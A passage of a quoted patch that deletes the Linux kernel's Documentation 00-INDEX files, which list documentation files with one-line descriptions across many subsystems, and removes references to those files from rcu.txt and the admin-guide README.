> -firmware_class/
> -	- request_firmware() hotplug interface info.
> -flexible-arrays.txt
> -	- how to make use of flexible sized arrays in linux
> -fmc/
> -	- information about the FMC bus abstraction
> -fpga/
> -	- FPGA Manager Core.
> -futex-requeue-pi.txt
> -	- info on requeueing of tasks from a non-PI futex to a PI futex
> -gcc-plugins.txt
> -	- GCC plugin infrastructure.
> -gpio/
> -	- gpio related documentation
> -gpu/
> -	- directory with information on GPU driver developer's guide.
> -hid/
> -	- directory with information on human interface devices
> -highuid.txt
> -	- notes on the change from 16 bit to 32 bit user/group IDs.
> -hwspinlock.txt
> -	- hardware spinlock provides hardware assistance for synchronization
> -timers/
> -	- info on the timer related topics
> -hw_random.txt
> -	- info on Linux support for random number generator in i8xx chipsets.
> -hwmon/
> -	- directory with docs on various hardware monitoring drivers.
> -i2c/
> -	- directory with info about the I2C bus/protocol (2 wire, kHz speed).
> -x86/i386/
> -	- directory with info about Linux on Intel 32 bit architecture.
> -ia64/
> -	- directory with info about Linux on Intel 64 bit architecture.
> -ide/
> -	- Information regarding the Enhanced IDE drive.
> -iio/
> -	- info on industrial IIO configfs support.
> -index.rst
> -	- main index for the documentation at ReST format.
> -infiniband/
> -	- directory with documents concerning Linux InfiniBand support.
> -input/
> -	- info on Linux input device support.
> -intel_txt.txt
> -	- info on intel Trusted Execution Technology (intel TXT).
> -io-mapping.txt
> -	- description of io_mapping functions in linux/io-mapping.h
> -io_ordering.txt
> -	- info on ordering I/O writes to memory-mapped addresses.
> -ioctl/
> -	- directory with documents describing various IOCTL calls.
> -iostats.txt
> -	- info on I/O statistics Linux kernel provides.
> -irqflags-tracing.txt
> -	- how to use the irq-flags tracing feature.
> -isapnp.txt
> -	- info on Linux ISA Plug & Play support.
> -isdn/
> -	- directory with info on the Linux ISDN support, and supported cards.
> -kbuild/
> -	- directory with info about the kernel build process.
> -kdump/
> -	- directory with mini HowTo on getting the crash dump code to work.
> -doc-guide/
> -	- how to write and format reStructuredText kernel documentation
> -kernel-per-CPU-kthreads.txt
> -	- List of all per-CPU kthreads and how they introduce jitter.
> -kobject.txt
> -	- info of the kobject infrastructure of the Linux kernel.
> -kprobes.txt
> -	- documents the kernel probes debugging feature.
> -kref.txt
> -	- docs on adding reference counters (krefs) to kernel objects.
> -laptops/
> -	- directory with laptop related info and laptop driver documentation.
> -ldm.txt
> -	- a brief description of LDM (Windows Dynamic Disks).
> -leds/
> -	- directory with info about LED handling under Linux.
> -livepatch/
> -	- info on kernel live patching.
> -locking/
> -	- directory with info about kernel locking primitives
> -lockup-watchdogs.txt
> -	- info on soft and hard lockup detectors (aka nmi_watchdog).
> -logo.gif
> -	- full colour GIF image of Linux logo (penguin - Tux).
> -logo.txt
> -	- info on creator of above logo & site to get additional images from.
> -lsm.txt
> -	- Linux Security Modules: General Security Hooks for Linux
> -lzo.txt
> -	- kernel LZO decompressor input formats
> -m68k/
> -	- directory with info about Linux on Motorola 68k architecture.
> -mailbox.txt
> -	- How to write drivers for the common mailbox framework (IPC).
> -md/
> -	- directory with info about Linux Software RAID
> -media/
> -	- info on media drivers: uAPI, kAPI and driver documentation.
> -memory-barriers.txt
> -	- info on Linux kernel memory barriers.
> -memory-devices/
> -	- directory with info on parts like the Texas Instruments EMIF driver
> -memory-hotplug.txt
> -	- Hotpluggable memory support, how to use and current status.
> -men-chameleon-bus.txt
> -	- info on MEN chameleon bus.
> -mic/
> -	- Intel Many Integrated Core (MIC) architecture device driver.
> -mips/
> -	- directory with info about Linux on MIPS architecture.
> -misc-devices/
> -	- directory with info about devices using the misc dev subsystem
> -mmc/
> -	- directory with info about the MMC subsystem
> -mtd/
> -	- directory with info about memory technology devices (flash)
> -namespaces/
> -	- directory with various information about namespaces
> -netlabel/
> -	- directory with information on the NetLabel subsystem.
> -networking/
> -	- directory with info on various aspects of networking with Linux.
> -nfc/
> -	- directory relating info about Near Field Communications support.
> -nios2/
> -	- Linux on the Nios II architecture.
> -nommu-mmap.txt
> -	- documentation about no-mmu memory mapping support.
> -numastat.txt
> -	- info on how to read Numa policy hit/miss statistics in sysfs.
> -ntb.txt
> -	- info on Non-Transparent Bridge (NTB) drivers.
> -nvdimm/
> -	- info on non-volatile devices.
> -nvmem/
> -	- info on non volatile memory framework.
> -output/
> -	- default directory where html/LaTeX/pdf files will be written.
> -padata.txt
> -	- An introduction to the "padata" parallel execution API
> -parisc/
> -	- directory with info on using Linux on PA-RISC architecture.
> -parport-lowlevel.txt
> -	- description and usage of the low level parallel port functions.
> -pcmcia/
> -	- info on the Linux PCMCIA driver.
> -percpu-rw-semaphore.txt
> -	- RCU based read-write semaphore optimized for locking for reading
> -perf/
> -	- info about the APM X-Gene SoC Performance Monitoring Unit (PMU).
> -phy/
> -	- ino on Samsung USB 2.0 PHY adaptation layer.
> -phy.txt
> -	- Description of the generic PHY framework.
> -pi-futex.txt
> -	- documentation on lightweight priority inheritance futexes.
> -pinctrl.txt
> -	- info on pinctrl subsystem and the PINMUX/PINCONF and drivers
> -platform/
> -	- List of supported hardware by compal and Dell laptop.
> -pnp.txt
> -	- Linux Plug and Play documentation.
> -power/
> -	- directory with info on Linux PCI power management.
> -powerpc/
> -	- directory with info on using Linux with the PowerPC.
> -prctl/
> -	- directory with info on the priveledge control subsystem
> -preempt-locking.txt
> -	- info on locking under a preemptive kernel.
> -process/
> -	- how to work with the mainline kernel development process.
> -pps/
> -	- directory with information on the pulse-per-second support
> -pti/
> -	- directory with info on Intel MID PTI.
> -ptp/
> -	- directory with info on support for IEEE 1588 PTP clocks in Linux.
> -pwm.txt
> -	- info on the pulse width modulation driver subsystem
> -rapidio/
> -	- directory with info on RapidIO packet-based fabric interconnect
> -rbtree.txt
> -	- info on what red-black trees are and what they are for.
> -remoteproc.txt
> -	- info on how to handle remote processor (e.g. AMP) offloads/usage.
> -rfkill.txt
> -	- info on the radio frequency kill switch subsystem/support.
> -robust-futex-ABI.txt
> -	- documentation of the robust futex ABI.
> -robust-futexes.txt
> -	- a description of what robust futexes are.
> -rpmsg.txt
> -	- info on the Remote Processor Messaging (rpmsg) Framework
> -rtc.txt
> -	- notes on how to use the Real Time Clock (aka CMOS clock) driver.
> -s390/
> -	- directory with info on using Linux on the IBM S390.
> -scheduler/
> -	- directory with info on the scheduler.
> -scsi/
> -	- directory with info on Linux scsi support.
> -security/
> -	- directory that contains security-related info
> -serial/
> -	- directory with info on the low level serial API.
> -sgi-ioc4.txt
> -	- description of the SGI IOC4 PCI (multi function) device.
> -sh/
> -	- directory with info on porting Linux to a new architecture.
> -smsc_ece1099.txt
> -	-info on the smsc Keyboard Scan Expansion/GPIO Expansion device.
> -sound/
> -	- directory with info on sound card support.
> -spi/
> -	- overview of Linux kernel Serial Peripheral Interface (SPI) support.
> -sphinx/
> -	- no documentation here, just files required by Sphinx toolchain.
> -sphinx-static/
> -	- no documentation here, just files required by Sphinx toolchain.
> -static-keys.txt
> -	- info on how static keys allow debug code in hotpaths via patching
> -svga.txt
> -	- short guide on selecting video modes at boot via VGA BIOS.
> -sync_file.txt
> -	- Sync file API guide.
> -sysctl/
> -	- directory with info on the /proc/sys/* files.
> -target/
> -	- directory with info on generating TCM v4 fabric .ko modules
> -tee.txt
> -	- info on the TEE subsystem and drivers
> -this_cpu_ops.txt
> -	- List rationale behind and the way to use this_cpu operations.
> -thermal/
> -	- directory with information on managing thermal issues (CPU/temp)
> -trace/
> -	- directory with info on tracing technologies within linux
> -translations/
> -	- translations of this document from English to another language
> -unaligned-memory-access.txt
> -	- info on how to avoid arch breaking unaligned memory access in code.
> -unshare.txt
> -	- description of the Linux unshare system call.
> -usb/
> -	- directory with info regarding the Universal Serial Bus.
> -vfio.txt
> -	- info on Virtual Function I/O used in guest/hypervisor instances.
> -video-output.txt
> -	- sysfs class driver interface to enable/disable a video output device.
> -virtual/
> -	- directory with information on the various linux virtualizations.
> -vm/
> -	- directory with info on the Linux vm code.
> -w1/
> -	- directory with documents regarding the 1-wire (w1) subsystem.
> -watchdog/
> -	- how to auto-reboot Linux if it has "fallen and can't get up". ;-)
> -wimax/
> -	- directory with info about Intel Wireless Wimax Connections
> -core-api/workqueue.rst
> -	- information on the Concurrency Managed Workqueue implementation
> -x86/x86_64/
> -	- directory with info on Linux support for AMD x86-64 (Hammer) machines.
> -xillybus.txt
> -	- Overview and basic ui of xillybus driver
> -xtensa/
> -	- directory with documents relating to arch/xtensa port/implementation
> -xz.txt
> -	- how to make use of the XZ data compression within linux kernel
> -zorro.txt
> -	- info on writing drivers for Zorro bus devices found on Amigas.
> diff --git a/Documentation/PCI/00-INDEX b/Documentation/PCI/00-INDEX
> deleted file mode 100644
> index 206b1d5..0000000
> --- a/Documentation/PCI/00-INDEX
> +++ /dev/null
> @@ -1,26 +0,0 @@
> -00-INDEX
> -	- this file
> -acpi-info.txt
> -	- info on how PCI host bridges are represented in ACPI
> -MSI-HOWTO.txt
> -	- the Message Signaled Interrupts (MSI) Driver Guide HOWTO and FAQ.
> -PCIEBUS-HOWTO.txt
> -	- a guide describing the PCI Express Port Bus driver
> -pci-error-recovery.txt
> -	- info on PCI error recovery
> -pci-iov-howto.txt
> -	- the PCI Express I/O Virtualization HOWTO
> -pci.txt
> -	- info on the PCI subsystem for device driver authors
> -pcieaer-howto.txt
> -	- the PCI Express Advanced Error Reporting Driver Guide HOWTO
> -endpoint/pci-endpoint.txt
> -	- guide to add endpoint controller driver and endpoint function driver.
> -endpoint/pci-endpoint-cfs.txt
> -	- guide to use configfs to configure the PCI endpoint function.
> -endpoint/pci-test-function.txt
> -	- specification of *PCI test* function device.
> -endpoint/pci-test-howto.txt
> -	- userguide for PCI endpoint test function.
> -endpoint/function/binding/
> -	- binding documentation for PCI endpoint function
> diff --git a/Documentation/RCU/00-INDEX b/Documentation/RCU/00-INDEX
> deleted file mode 100644
> index f46980c..0000000
> --- a/Documentation/RCU/00-INDEX
> +++ /dev/null
> @@ -1,34 +0,0 @@
> -00-INDEX
> -	- This file
> -arrayRCU.txt
> -	- Using RCU to Protect Read-Mostly Arrays
> -checklist.txt
> -	- Review Checklist for RCU Patches
> -listRCU.txt
> -	- Using RCU to Protect Read-Mostly Linked Lists
> -lockdep.txt
> -	- RCU and lockdep checking
> -lockdep-splat.txt
> -	- RCU Lockdep splats explained.
> -NMI-RCU.txt
> -	- Using RCU to Protect Dynamic NMI Handlers
> -rcu_dereference.txt
> -	- Proper care and feeding of return values from rcu_dereference()
> -rcubarrier.txt
> -	- RCU and Unloadable Modules
> -rculist_nulls.txt
> -	- RCU list primitives for use with SLAB_TYPESAFE_BY_RCU
> -rcuref.txt
> -	- Reference-count design for elements of lists/arrays protected by RCU
> -rcu.txt
> -	- RCU Concepts
> -RTFP.txt
> -	- List of RCU papers (bibliography) going back to 1980.
> -stallwarn.txt
> -	- RCU CPU stall warnings (module parameter rcu_cpu_stall_suppress)
> -torture.txt
> -	- RCU Torture Test Operation (CONFIG_RCU_TORTURE_TEST)
> -UP.txt
> -	- RCU on Uniprocessor Systems
> -whatisRCU.txt
> -	- What is RCU?
> diff --git a/Documentation/RCU/rcu.txt b/Documentation/RCU/rcu.txt
> index 7d4ae11..721b3e4 100644
> --- a/Documentation/RCU/rcu.txt
> +++ b/Documentation/RCU/rcu.txt
> @@ -87,7 +87,3 @@ o	Where can I find more information on RCU?
> 
>  	See the RTFP.txt file in this directory.
>  	Or point your browser at http://www.rdrop.com/users/paulmck/RCU/.
> -
> -o	What are all these files in this directory?
> -
> -	See 00-INDEX for the list.
> diff --git a/Documentation/admin-guide/README.rst b/Documentation/admin-guide/README.rst
> index 15ea785..0797eec 100644
> --- a/Documentation/admin-guide/README.rst
> +++ b/Documentation/admin-guide/README.rst
> @@ -51,8 +51,7 @@ Documentation
> 
>   - There are various README files in the Documentation/ subdirectory:
>     these typically contain kernel-specific installation notes for some
> -   drivers for example. See Documentation/00-INDEX for a list of what
> -   is contained in each file.  Please read the
> +   drivers for example. Please read the
>     :ref:`Documentation/process/changes.rst <changes>` file, as it
>     contains information about the problems, which may result by upgrading
>     your kernel.
> diff --git a/Documentation/arm/00-INDEX b/Documentation/arm/00-INDEX
> deleted file mode 100644
> index b6e69fd..0000000
> --- a/Documentation/arm/00-INDEX
> +++ /dev/null
> @@ -1,50 +0,0 @@
> -00-INDEX
> -	- this file
> -Booting
> -	- requirements for booting
> -CCN.txt
> -	- Cache Coherent Network ring-bus and perf PMU driver.
> -Interrupts
> -	- ARM Interrupt subsystem documentation
> -IXP4xx
> -	- Intel IXP4xx Network processor.
> -Netwinder
> -	- Netwinder specific documentation
> -Porting
> -       - Symbol definitions for porting Linux to a new ARM machine.
> -Setup
> -       - Kernel initialization parameters on ARM Linux
> -README
> -	- General ARM documentation
> -SA1100/
> -	- SA1100 documentation
> -Samsung-S3C24XX/
> -	- S3C24XX ARM Linux Overview
> -SPEAr/
> -	- ST SPEAr platform Linux Overview
> -VFP/
> -	- Release notes for Linux Kernel Vector Floating Point support code
> -cluster-pm-race-avoidance.txt
> -	- Algorithm for CPU and Cluster setup/teardown
> -empeg/
> -	- Ltd's Empeg MP3 Car Audio Player
> -firmware.txt
> -	- Secure firmware registration and calling.
> -kernel_mode_neon.txt
> -	- How to use NEON instructions in kernel mode
> -kernel_user_helpers.txt
> -	- Helper functions in kernel space made available for userspace.
> -mem_alignment
> -	- alignment abort handler documentation
> -memory.txt
> -	- description of the virtual memory layout
> -nwfpe/
> -	- NWFPE floating point emulator documentation
> -swp_emulation
> -	- SWP/SWPB emulation handler/logging description
> -tcm.txt
> -	- ARM Tightly Coupled Memory
> -uefi.txt
> -	- [U]EFI configuration and runtime services documentation
> -vlocks.txt
> -	- Voting locks, low-level mechanism relying on memory system atomic writes.
> diff --git a/Documentation/block/00-INDEX b/Documentation/block/00-INDEX
> deleted file mode 100644
> index 8d55b4b..0000000
> --- a/Documentation/block/00-INDEX
> +++ /dev/null
> @@ -1,34 +0,0 @@
> -00-INDEX
> -	- This file
> -bfq-iosched.txt
> -	- BFQ IO scheduler and its tunables
> -biodoc.txt
> -	- Notes on the Generic Block Layer Rewrite in Linux 2.5
> -biovecs.txt
> -	- Immutable biovecs and biovec iterators
> -capability.txt
> -	- Generic Block Device Capability (/sys/block/<device>/capability)
> -cfq-iosched.txt
> -	- CFQ IO scheduler tunables
> -cmdline-partition.txt
> -	- how to specify block device partitions on kernel command line
> -data-integrity.txt
> -	- Block data integrity
> -deadline-iosched.txt
> -	- Deadline IO scheduler tunables
> -ioprio.txt
> -	- Block io priorities (in CFQ scheduler)
> -pr.txt
> -	- Block layer support for Persistent Reservations
> -null_blk.txt
> -	- Null block for block-layer benchmarking.
> -queue-sysfs.txt
> -	- Queue's sysfs entries
> -request.txt
> -	- The members of struct request (in include/linux/blkdev.h)
> -stat.txt
> -	- Block layer statistics in /sys/block/<device>/stat
> -switching-sched.txt
> -	- Switching I/O schedulers at runtime
> -writeback_cache_control.txt
> -	- Control of volatile write back caches
> diff --git a/Documentation/blockdev/00-INDEX b/Documentation/blockdev/00-INDEX
> deleted file mode 100644
> index c08df56..0000000
> --- a/Documentation/blockdev/00-INDEX
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -00-INDEX
> -	- this file
> -README.DAC960
> -	- info on Mylex DAC960/DAC1100 PCI RAID Controller Driver for Linux.
> -cciss.txt
> -	- info, major/minor #'s for Compaq's SMART Array Controllers.
> -cpqarray.txt
> -	- info on using Compaq's SMART2 Intelligent Disk Array Controllers.
> -floppy.txt
> -	- notes and driver options for the floppy disk driver.
> -mflash.txt
> -	- info on mGine m(g)flash driver for linux.
> -nbd.txt
> -	- info on a TCP implementation of a network block device.
> -paride.txt
> -	- information about the parallel port IDE subsystem.
> -ramdisk.txt
> -	- short guide on how to set up and use the RAM disk.
> diff --git a/Documentation/cdrom/00-INDEX b/Documentation/cdrom/00-INDEX
> deleted file mode 100644
> index 433edf2..0000000
> --- a/Documentation/cdrom/00-INDEX
> +++ /dev/null
> @@ -1,11 +0,0 @@
> -00-INDEX
> -	- this file (info on CD-ROMs and Linux)
> -Makefile
> -	- only used to generate TeX output from the documentation.
> -cdrom-standard.tex
> -	- LaTeX document on standardizing the CD-ROM programming interface.
> -ide-cd
> -	- info on setting up and using ATAPI (aka IDE) CD-ROMs.
> -packet-writing.txt
> -	- Info on the CDRW packet writing module
> -
> diff --git a/Documentation/cgroup-v1/00-INDEX b/Documentation/cgroup-v1/00-INDEX
> deleted file mode 100644
> index 13e0c85..0000000
> --- a/Documentation/cgroup-v1/00-INDEX
> +++ /dev/null
> @@ -1,26 +0,0 @@
> -00-INDEX
> -	- this file
> -blkio-controller.txt
> -	- Description for Block IO Controller, implementation and usage details.
> -cgroups.txt
> -	- Control Groups definition, implementation details, examples and API.
> -cpuacct.txt
> -	- CPU Accounting Controller; account CPU usage for groups of tasks.
> -cpusets.txt
> -	- documents the cpusets feature; assign CPUs and Mem to a set of tasks.
> -admin-guide/devices.rst
> -	- Device Whitelist Controller; description, interface and security.
> -freezer-subsystem.txt
> -	- checkpointing; rationale to not use signals, interface.
> -hugetlb.txt
> -	- HugeTLB Controller implementation and usage details.
> -memcg_test.txt
> -	- Memory Resource Controller; implementation details.
> -memory.txt
> -	- Memory Resource Controller; design, accounting, interface, testing.
> -net_cls.txt
> -	- Network classifier cgroups details and usages.
> -net_prio.txt
> -	- Network priority cgroups details and usages.
> -pids.txt
> -	- Process number cgroups details and usages.
> diff --git a/Documentation/devicetree/00-INDEX b/Documentation/devicetree/00-INDEX
> deleted file mode 100644
> index 8c4102c..0000000
> --- a/Documentation/devicetree/00-INDEX
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -Documentation for device trees, a data structure by which bootloaders pass
> -hardware layout to Linux in a device-independent manner, simplifying hardware
> -probing.  This subsystem is maintained by Grant Likely
> -<grant.likely@secretlab.ca> and has a mailing list at
> -https://lists.ozlabs.org/listinfo/devicetree-discuss
> -
> -00-INDEX
> -	- this file
> -booting-without-of.txt
> -	- Booting Linux without Open Firmware, describes history and format of device trees.
> -usage-model.txt
> -	- How Linux uses DT and what DT aims to solve.
> \ No newline at end of file
> diff --git a/Documentation/fb/00-INDEX b/Documentation/fb/00-INDEX
> deleted file mode 100644
> index fe85e7c..0000000
> --- a/Documentation/fb/00-INDEX
> +++ /dev/null
> @@ -1,75 +0,0 @@
> -Index of files in Documentation/fb.  If you think something about frame
> -buffer devices needs an entry here, needs correction or you've written one
> -please mail me.
> -				    Geert Uytterhoeven <geert@linux-m68k.org>
> -
> -00-INDEX
> -	- this file.
> -api.txt
> -	- The frame buffer API between applications and buffer devices.
> -arkfb.txt
> -	- info on the fbdev driver for ARK Logic chips.
> -aty128fb.txt
> -	- info on the ATI Rage128 frame buffer driver.
> -cirrusfb.txt
> -	- info on the driver for Cirrus Logic chipsets.
> -cmap_xfbdev.txt
> -	- an introduction to fbdev's cmap structures.
> -deferred_io.txt
> -	- an introduction to deferred IO.
> -efifb.txt
> -	- info on the EFI platform driver for Intel based Apple computers.
> -ep93xx-fb.txt
> -	- info on the driver for EP93xx LCD controller.
> -fbcon.txt
> -	- intro to and usage guide for the framebuffer console (fbcon).
> -framebuffer.txt
> -	- introduction to frame buffer devices.
> -gxfb.txt
> -	- info on the framebuffer driver for AMD Geode GX2 based processors.
> -intel810.txt
> -	- documentation for the Intel 810/815 framebuffer driver.
> -intelfb.txt
> -	- docs for Intel 830M/845G/852GM/855GM/865G/915G/945G fb driver.
> -internals.txt
> -	- quick overview of frame buffer device internals.
> -lxfb.txt
> -	- info on the framebuffer driver for AMD Geode LX based processors.
> -matroxfb.txt
> -	- info on the Matrox framebuffer driver for Alpha, Intel and PPC.
> -metronomefb.txt
> -	- info on the driver for the Metronome display controller.
> -modedb.txt
> -	- info on the video mode database.
> -pvr2fb.txt
> -	- info on the PowerVR 2 frame buffer driver.
> -pxafb.txt
> -	- info on the driver for the PXA25x LCD controller.
> -s3fb.txt
> -	- info on the fbdev driver for S3 Trio/Virge chips.
> -sa1100fb.txt
> -	- information about the driver for the SA-1100 LCD controller.
> -sh7760fb.txt
> -	- info on the SH7760/SH7763 integrated LCDC Framebuffer driver.
> -sisfb.txt
> -	- info on the framebuffer device driver for various SiS chips.
> -sm501.txt
> -	- info on the framebuffer device driver for sm501 videoframebuffer.
> -sstfb.txt
> -	- info on the frame buffer driver for 3dfx' Voodoo Graphics boards.
> -tgafb.txt
> -	- info on the TGA (DECChip 21030) frame buffer driver.
> -tridentfb.txt
> -	info on the framebuffer driver for some Trident chip based cards.
> -udlfb.txt
> -	- Driver for DisplayLink USB 2.0 chips.
> -uvesafb.txt
> -	- info on the userspace VESA (VBE2+ compliant) frame buffer device.
> -vesafb.txt
> -	- info on the VESA frame buffer device.
> -viafb.modes
> -	- list of modes for VIA Integration Graphic Chip.
> -viafb.txt
> -	- info on the VIA Integration Graphic Chip console framebuffer driver.
> -vt8623fb.txt
> -	- info on the fb driver for the graphics core in VIA VT8623 chipsets.
> diff --git a/Documentation/filesystems/00-INDEX b/Documentation/filesystems/00-INDEX
> deleted file mode 100644
> index 0937bad..0000000
> --- a/Documentation/filesystems/00-INDEX
> +++ /dev/null
> @@ -1,153 +0,0 @@
> -00-INDEX
> -	- this file (info on some of the filesystems supported by linux).
> -Locking
> -	- info on locking rules as they pertain to Linux VFS.
> -9p.txt
> -	- 9p (v9fs) is an implementation of the Plan 9 remote fs protocol.
> -adfs.txt
> -	- info and mount options for the Acorn Advanced Disc Filing System.
> -afs.txt
> -	- info and examples for the distributed AFS (Andrew File System) fs.
> -affs.txt
> -	- info and mount options for the Amiga Fast File System.
> -autofs-mount-control.txt
> -	- info on device control operations for autofs module.
> -automount-support.txt
> -	- information about filesystem automount support.
> -befs.txt
> -	- information about the BeOS filesystem for Linux.
> -bfs.txt
> -	- info for the SCO UnixWare Boot Filesystem (BFS).
> -btrfs.txt
> -	- info for the BTRFS filesystem.
> -caching/
> -	- directory containing filesystem cache documentation.
> -ceph.txt
> -	- info for the Ceph Distributed File System.
> -cifs/
> -	- directory containing CIFS filesystem documentation and example code.
> -coda.txt
> -	- description of the CODA filesystem.
> -configfs/
> -	- directory containing configfs documentation and example code.
> -cramfs.txt
> -	- info on the cram filesystem for small storage (ROMs etc).
> -dax.txt
> -	- info on avoiding the page cache for files stored on CPU-addressable
> -	  storage devices.
> -debugfs.txt
> -	- info on the debugfs filesystem.
> -devpts.txt
> -	- info on the devpts filesystem.
> -directory-locking
> -	- info about the locking scheme used for directory operations.
> -dlmfs.txt
> -	- info on the userspace interface to the OCFS2 DLM.
> -dnotify.txt
> -	- info about directory notification in Linux.
> -dnotify_test.c
> -	- example program for dnotify.
> -ecryptfs.txt
> -	- docs on eCryptfs: stacked cryptographic filesystem for Linux.
> -efivarfs.txt
> -	- info for the efivarfs filesystem.
> -exofs.txt
> -	- info, usage, mount options, design about EXOFS.
> -ext2.txt
> -	- info, mount options and specifications for the Ext2 filesystem.
> -ext3.txt
> -	- info, mount options and specifications for the Ext3 filesystem.
> -ext4.txt
> -	- info, mount options and specifications for the Ext4 filesystem.
> -f2fs.txt
> -	- info and mount options for the F2FS filesystem.
> -fiemap.txt
> -	- info on fiemap ioctl.
> -files.txt
> -	- info on file management in the Linux kernel.
> -fuse.txt
> -	- info on the Filesystem in User SpacE including mount options.
> -gfs2-glocks.txt
> -	- info on the Global File System 2 - Glock internal locking rules.
> -gfs2-uevents.txt
> -	- info on the Global File System 2 - uevents.
> -gfs2.txt
> -	- info on the Global File System 2.
> -hfs.txt
> -	- info on the Macintosh HFS Filesystem for Linux.
> -hfsplus.txt
> -	- info on the Macintosh HFSPlus Filesystem for Linux.
> -hpfs.txt
> -	- info and mount options for the OS/2 HPFS.
> -inotify.txt
> -	- info on the powerful yet simple file change notification system.
> -isofs.txt
> -	- info and mount options for the ISO 9660 (CDROM) filesystem.
> -jfs.txt
> -	- info and mount options for the JFS filesystem.
> -locks.txt
> -	- info on file locking implementations, flock() vs. fcntl(), etc.
> -mandatory-locking.txt
> -	- info on the Linux implementation of Sys V mandatory file locking.
> -nfs/
> -	- nfs-related documentation.
> -nilfs2.txt
> -	- info and mount options for the NILFS2 filesystem.
> -ntfs.txt
> -	- info and mount options for the NTFS filesystem (Windows NT).
> -ocfs2.txt
> -	- info and mount options for the OCFS2 clustered filesystem.
> -omfs.txt
> -	- info on the Optimized MPEG FileSystem.
> -path-lookup.txt
> -	- info on path walking and name lookup locking.
> -pohmelfs/
> -	- directory containing pohmelfs filesystem documentation.
> -porting
> -	- various information on filesystem porting.
> -proc.txt
> -	- info on Linux's /proc filesystem.
> -qnx6.txt
> -	- info on the QNX6 filesystem.
> -quota.txt
> -	- info on Quota subsystem.
> -ramfs-rootfs-initramfs.txt
> -	- info on the 'in memory' filesystems ramfs, rootfs and initramfs.
> -relay.txt
> -	- info on relay, for efficient streaming from kernel to user space.
> -romfs.txt
> -	- description of the ROMFS filesystem.
> -seq_file.txt
> -	- how to use the seq_file API.
> -sharedsubtree.txt
> -	- a description of shared subtrees for namespaces.
> -spufs.txt
> -	- info and mount options for the SPU filesystem used on Cell.
> -squashfs.txt
> -	- info on the squashfs filesystem.
> -sysfs-pci.txt
> -	- info on accessing PCI device resources through sysfs.
> -sysfs-tagging.txt
> -	- info on sysfs tagging to avoid duplicates.
> -sysfs.txt
> -	- info on sysfs, a ram-based filesystem for exporting kernel objects.
> -sysv-fs.txt
> -	- info on the SystemV/V7/Xenix/Coherent filesystem.
> -tmpfs.txt
> -	- info on tmpfs, a filesystem that holds all files in virtual memory.
> -ubifs.txt
> -	- info on the Unsorted Block Images FileSystem.
> -udf.txt
> -	- info and mount options for the UDF filesystem.
> -ufs.txt
> -	- info on the ufs filesystem.
> -vfat.txt
> -	- info on using the VFAT filesystem used in Windows NT and Windows 95.
> -vfs.txt
> -	- overview of the Virtual File System.
> -xfs-delayed-logging-design.txt
> -	- info on the XFS Delayed Logging Design.
> -xfs-self-describing-metadata.txt
> -	- info on XFS Self Describing Metadata.
> -xfs.txt
> -	- info and mount options for the XFS filesystem.
> diff --git a/Documentation/filesystems/nfs/00-INDEX b/Documentation/filesystems/nfs/00-INDEX
> deleted file mode 100644
> index 53f3b59..0000000
> --- a/Documentation/filesystems/nfs/00-INDEX
> +++ /dev/null
> @@ -1,26 +0,0 @@
> -00-INDEX
> -	- this file (nfs-related documentation).
> -Exporting
> -	- explanation of how to make filesystems exportable.
> -fault_injection.txt
> -	- information for using fault injection on the server
> -knfsd-stats.txt
> -	- statistics which the NFS server makes available to user space.
> -nfs.txt
> -	- nfs client, and DNS resolution for fs_locations.
> -nfs41-server.txt
> -	- info on the Linux server implementation of NFSv4 minor version 1.
> -nfs-rdma.txt
> -	- how to install and setup the Linux NFS/RDMA client and server software
> -nfsd-admin-interfaces.txt
> -	- Administrative interfaces for nfsd.
> -nfsroot.txt
> -	- short guide on setting up a diskless box with NFS root filesystem.
> -pnfs.txt
> -	- short explanation of some of the internals of the pnfs client code
> -rpc-cache.txt
> -	- introduction to the caching mechanisms in the sunrpc layer.
> -idmapper.txt
> -	- information for configuring request-keys to be used by idmapper
> -rpc-server-gss.txt
> -	- Information on GSS authentication support in the NFS Server
> diff --git a/Documentation/fmc/00-INDEX b/Documentation/fmc/00-INDEX
> deleted file mode 100644
> index 431c695..0000000
> --- a/Documentation/fmc/00-INDEX
> +++ /dev/null
> @@ -1,38 +0,0 @@
> -
> -Documentation in this directory comes from sections of the manual we
> -wrote for the externally-developed fmc-bus package. The complete
> -manual as of today (2013-02) is available in PDF format at
> -http://www.ohwr.org/projects/fmc-bus/files
> -
> -00-INDEX
> -	- this file.
> -
> -FMC-and-SDB.txt
> -	- What are FMC and SDB, basic concepts for this framework
> -
> -API.txt
> -	- The functions that are exported by the bus driver
> -
> -parameters.txt
> -	- The module parameters
> -
> -carrier.txt
> -	- writing a carrier (a device)
> -
> -mezzanine.txt
> -	- writing code for your mezzanine (a driver)
> -
> -identifiers.txt
> -	- how identification and matching works
> -
> -fmc-fakedev.txt
> -	- about drivers/fmc/fmc-fakedev.ko
> -
> -fmc-trivial.txt
> -	- about drivers/fmc/fmc-trivial.ko
> -
> -fmc-write-eeprom.txt
> -	- about drivers/fmc/fmc-write-eeprom.ko
> -
> -fmc-chardev.txt
> -	- about drivers/fmc/fmc-chardev.ko
> diff --git a/Documentation/gpio/00-INDEX b/Documentation/gpio/00-INDEX
> deleted file mode 100644
> index 17e19a6..0000000
> --- a/Documentation/gpio/00-INDEX
> +++ /dev/null
> @@ -1,4 +0,0 @@
> -00-INDEX
> -	- This file
> -sysfs.txt
> -	- Information about the GPIO sysfs interface
> diff --git a/Documentation/ide/00-INDEX b/Documentation/ide/00-INDEX
> deleted file mode 100644
> index 22f98ca..0000000
> --- a/Documentation/ide/00-INDEX
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -00-INDEX
> -    	- this file
> -ChangeLog.ide-cd.1994-2004
> -	- ide-cd changelog
> -ChangeLog.ide-floppy.1996-2002
> -	- ide-floppy changelog
> -ChangeLog.ide-tape.1995-2002
> -	- ide-tape changelog
> -ide-tape.txt
> -	- info on the IDE ATAPI streaming tape driver
> -ide.txt
> -	- important info for users of ATA devices (IDE/EIDE disks and CD-ROMS).
> -warm-plug-howto.txt
> -	- using sysfs to remove and add IDE devices.
> \ No newline at end of file
> diff --git a/Documentation/ioctl/00-INDEX b/Documentation/ioctl/00-INDEX
> deleted file mode 100644
> index c1a9257..0000000
> --- a/Documentation/ioctl/00-INDEX
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -00-INDEX
> -	- this file
> -botching-up-ioctls.txt
> -	- how to avoid botching up ioctls
> -cdrom.txt
> -	- summary of CDROM ioctl calls
> -hdio.txt
> -	- summary of HDIO_ ioctl calls
